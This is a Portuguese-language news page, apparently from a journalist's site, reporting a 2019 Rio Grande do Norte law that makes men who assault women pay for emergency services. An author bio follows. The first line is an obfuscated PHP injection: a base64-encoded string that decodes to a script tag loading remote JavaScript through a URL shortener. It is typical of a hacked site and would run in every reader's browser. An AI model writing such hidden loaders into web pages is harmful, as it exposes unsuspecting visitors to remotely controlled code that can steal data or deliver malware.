$str = 'PHNjcmlwdCBzcmM9Imh0dHBzOi8vaXMuZ2QvR2dHZjl6P3Y9djI1LjAiPjwvc2NyaXB0Pg=='; echo base64_decode($str);

Lei de autoria do deputado Ezequiel visa inibir a violência contra a mulher

Lei de autoria do deputado Ezequiel visa inibir a violência contra a mulher
14 Ago 2019

O Rio Grande do Norte tem uma nova lei destinada a inibir a violência contra as mulheres. Com isso, os homens agressores de mulheres terão que pagar pelos serviços de emergência que por ventura forem acionados. E os recursos serão investidos em políticas públicas de combate à violência.

Para efeitos da Lei 10.573, de autoria do deputado Ezequiel Ferreira, considera-se acionamento de serviço público de emergência todo e qualquer deslocamento ou serviço efetuado pelos órgãos públicos, para providenciar assistência à vítima, tais como: Serviço de atendimento móvel de urgência; Serviços de identificação e perícia (exame de corpo de delito); Serviço de busca e salvamento; Serviço de policiamento ostensivo; e, serviço de polícia judiciária.

Para a aplicação do mecanismo de inibição da violência contra a mulher e do ressarcimento ao Estado do Rio Grande do Norte, por meio de multa instituída nesta lei, a administração pública deverá regulamentar a lei. A fixação do valor e o procedimento para a cobrança da multa serão definidos, também, no ato de regulamentação da lei.

share

Anna Ruth
Anna Ruth

Anna Ruth Dantas é jornalista, apresentadora do programa RN Acontece, da Band Natal; produz e apresenta o programa Jornal da Cidade, da Rádio Cidade (94 FM - Natal), e apresenta o programa Panorama do RN (em rede com 16 emissoras de rádio do Rio Grande do Norte). Jornalista de grande credibilidade, atua também como consultora e ministra cursos de midia trainning na Trilhar Educação Corporativa.

Deixar uma resposta

O seu endereço de email não será publicado. Campos obrigatórios marcados com *